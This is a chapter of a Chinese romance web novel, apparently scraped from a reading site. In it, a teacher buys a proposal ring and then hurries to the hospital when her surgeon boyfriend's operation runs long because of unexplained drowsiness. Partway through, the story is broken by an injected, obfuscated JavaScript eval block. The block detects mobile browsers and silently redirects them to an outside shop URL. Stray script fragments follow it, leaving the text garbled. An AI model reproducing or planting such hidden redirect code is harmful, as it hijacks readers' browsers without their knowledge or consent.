文趣网 > 都市小说 > 相亲对象是4i > 39.39
    邬献吃过晚饭早早地洗漱睡觉,他看上去状态不太好,整个人昏昏沉沉的。

    梁戚把她妈送到楼下,雨逐渐变小,于是和她妈在小区里逛了两圈。

    梁佟一边看手机,一边说:“小邬这个人蛮好的,我看他也挺老实,做医生好,稳定。”

    梁戚点了点头,心底却不太认可邬献老实这个说法,他在她眼里一点都不老实。

    她的生活是平淡无奇的,在遇到邬献之后发生了较大的变化,给了她很多从来没体验过的感觉。

    偶尔梁戚会想,如果真的结婚,会是什么样的生活。

    “你要结婚了呀,怎么开始看戒指了呢?”

    教师办公室。

    项艾将包放在桌上,整理值班表准备去教学楼查早自习,进门时看见了梁戚的手机屏幕。

    项艾建议道:“你看戒指不如去金店看,手机上看不是实物,有些图片好看,戴手上难看得很。”

    屏幕上的是一枚普通款式的可调节金戒,没有刻纹,没有特殊设计。

    梁戚关掉屏幕,拿上教书,“想求婚,但是觉得应该先把戒指买好。”

    两个人一起往外走,在满走廊间都是学生早读的声音,项艾的声音因此很小,“也不一定要先买戒指,不少人都是结婚才买戒指。”

    如果到结婚才买戒指,邬献应该会很不高兴吧?梁戚总觉得如果那个时候才买,有点憋屈邬献。

    邬献是个极其讲究形式主义的人,按他的话来说,这叫仪式感。

    虽然梁戚并不理解仪式感有什么用。

    “提前买,可以让他更开心一点,”梁戚不认为自己在说情话,这是肺腑实言,“他笑起来比不笑好看。”

    “咦,好酸,”项艾扇扇鼻子,笑着调侃,“下班你去涪东路那条街的金店看看吧,我有熟人在那儿,应该能优惠点。”

    梁戚点点头,“谢谢。”

    金戒指的优点是保值,以及大小可调,不用刻意测量手指的数据。

    在款式上挑选,梁戚一窍不通。

    邬献的审美没有偏好,繁复的、简约的,只要漂亮,他都喜欢。

    销售员到梁戚身边,热情询问:“您好,是自己买,还是送人呢?”

    “送恋人,”梁戚大致扫了一眼柜台,金闪闪的一片,看得她眼花,“求婚用。”

    不清楚邬献喜欢什么样的,销售员向梁戚推荐了几款普遍好评的戒指。

    “这对是对戒,没有特殊纹样,百分百纯金。”

    一对平淡的细款戒指,没有图案,不会出错,也不会令人太惊讶。

    “就这对吧,”梁戚快速付款,将戒指带走。

    今天邬献要值班到晚上十二点,梁戚不打算去接他,趁陈禹有空,叫她到家里来吃饭。

    顺便跟陈禹讨教一点心得。

    “你还会求婚呀,”陈禹来时,带了一提酒,和用来下酒的卤菜。

    陈禹把毛毯铺在地上,和梁戚一起坐在茶几后吃饭。

    落地窗窗户大开,外面打着淅淅沥沥的密雨,室内只开微灯。

    陈禹给梁戚倒酒,“其实没什么特别的,就是布置了个景,我把孟恪带到那里去,他胆儿小,我没喊别人,私下跟他求的婚。”

    梁戚问:“需要怎么说呢?”

    陈禹露出不理解的神情,“还能怎么说?直接问他就好了,但是我是提前确定了他想结婚,才求的,你问邬献没,他想不想和你结婚?”

    “没有,但是他总说想,”梁戚老实道。

    “他说想难道就一定想了吗?男的的嘴,谁知道吐出来是鬼话还是真心话,”陈禹咂咂嘴,“戚戚,你也太单纯了。”

    “是吗?”梁戚后知后觉开始思考这个问题。

    邬献看起来不像是会骗人的样子,还是说她真的太单纯了?

    梁戚没在这个问题上多纠结,就算他不愿意,又怎么样呢?保持现状,也不是不可以。

    陈禹问:“你想什么时候求婚?”

    梁戚说:“今晚。”

    凌晨一点,邬献还没回家。

    梁戚喝了酒,迷糊着睡了一觉,醒来身边仍旧空荡荡的,习惯了有人,忽然没人,反而不习惯。

    她揉着头发坐起来,将手机打开,邬献没有发消息。

    没有发消息,太奇怪了。

    以前邬献上下班都要发消息,休息也要发,几乎24小时报备。

    梁戚摸开小台灯,犯困拨电话,响铃结束,没有人接,她又拨了一个。

    这次拨通了,接电话的却不是邬献本人。

    “你好啊,邬医生在手术,情况比较严峻,一时半会可能回不了家哦。”

    曹茵的声音。

    梁戚将电话夹在肩膀上,翻衣服出来穿上,“怎么了?”

    电话那边明显有争吵的人声,医院走廊空荡寂静,人们喧闹时尤其刺耳,即便通过电话传导,也不减锐利。

    “说好不严重,一个小时就能完的手术,这都拖了两个小时了,你们在干什么?问你们你们也不理人,我们要解释,解释!”

    曹茵回到办公室,将门关上,悄悄说:“你听见了吧?这台手术主刀是邬医生,不知道为什么手术时长拖得很长,病人家属很着急。”

    一台不算大型的手术,一般不会和预计时长差距太多,就算有,也不过十几二分钟,这台手术延长了整整一个小时。

    能到这种地步,多半是主刀出问题了。

    曹茵去问了,也确实是主刀的问题,在前期操作时动作很迟缓,拖延了很久。

    梁戚出门急,连伞都忘了带,到医院时淋了个半湿,恰好遇上查房回来的曹茵。

    曹茵把梁戚带回办公室,找了张干净的毛巾给她擦雨水,“现在手术室里面已经换主刀了,没什么大事,邬医生在后台没出来,大概是很愧疚吧,如果我也出现这种问题,我也不敢出来见家属。”

    曹茵耸肩笑笑,从保温壶里倒热水给梁戚,看梁戚一脸冷漠,她笑得更灿烂了,“你很担心他吗?其实我不建议你来,男人的自尊心很脆弱,你这个时候出现,看见他工作失误,会让他很没面子吧?”

    梁戚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679575|204979||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吹了吹冒热汽的水,抿了半口,“有这么脆弱吗?”

    “你不要太高看男人的品德了,”曹茵把工作服脱下,“我下班了,你慢慢等。”

    没有等很久,大概是听说了梁戚到了医院,邬献从另一扇门离开手术室后台,换过衣服回办公室。

    凌晨一点半,经历过不顺利的手术,邬献脸上很憔悴,日常看不太出来的细纹这时候暴露无遗。

    办公室内没有其他人,邬献将门带上,走到梁戚身边,冲她抬了个疲倦的笑,“亲爱的,关心我所以来了吗?”

    “你怎么了?”梁戚把邬献的眼镜摘掉,合在手心,摸了摸他的眼下,“身体不舒服吗?”

    “手术开始之后,不知道为什么,越来越昏,拖了很久的进度,”邬献轻轻将梁戚抱住,脑袋搭在她肩上,“我明明有保持睡眠,可能是……昨天麻醉的问题。“

    不是很愿意说是麻醉的问题,但邬献这一整天都感觉不太妙。

    早上还以为是没睡醒,所以人不太清醒,做事慢吞吞的,下午恢复了一些,但仍旧后脑有些沉,邬献向来身体没有大毛病,只简单认为是午休没休好。

    手术前,邬献明明感觉好很多,几乎没有什么影响,可是手术一开始,注意力集中时,就再次昏沉,无奈被迫联系其他医生。

    梁戚抚摸邬献的头,“手术还好吗?”

    “病人没有出问题,只是时间拖久了一点,医院大概不会追问,家属应该会来追问,明天应该不能准点下班了,”邬献从梁戚怀里出来,“我去那边检查一下,你先回家,好吗?”

    时间很晚了,梁戚要上班的。

    距离胃镜麻醉,已经过去24小时,胃镜麻醉剂量很小,几乎没有人会因为这点剂量出现问题。

    “我不放心,一起去吧,”梁戚将邬献的眼镜放进风衣口袋中,“明天我请假就好了。”

    “很关心我嘛,”邬献将脸颊贴过来,和梁戚的挨着,蹭她几下。

    为避免被家属看见,邬献绕道到急诊挂号处。

    检查是否是麻醉的问题需要基础生命体征检测、抽血检验,排除大问题还需要进行脑ct,一套下来,再等个结果,就算是急诊,也基本要等到三点多。

    邬献实在很困,坐在等候厅的椅子上靠着梁戚睡着了。

    梁戚完全没有困意,她将尤任玉的资料反复翻看,他和邬献毕业于同校,任职的几年来没有过任何麻醉失误。

    这么小的一场麻醉,会失误吗?不是麻醉失误的话,那就是邬献的身体问题,代谢太慢,或者肝伸有问题。

    梁戚不自觉地皱眉。

    她的风衣还没彻底干透,邬献趴在肩上等同于睡在闷湿的布上。

    梁戚托着邬献的头,将他托到腿上趴着,用手垫开衣服。

    口袋里放着戒指盒,没有及时取出,硌得邬献完全睡不好,睡得不舒服,慢慢也就醒了。

    邬献睁开眼,刚想问梁戚兜里放着个什么东西,怎么这么硌。

    忽然有护士走出来,“报告出来了,梁女士你带邬医生过来吧。”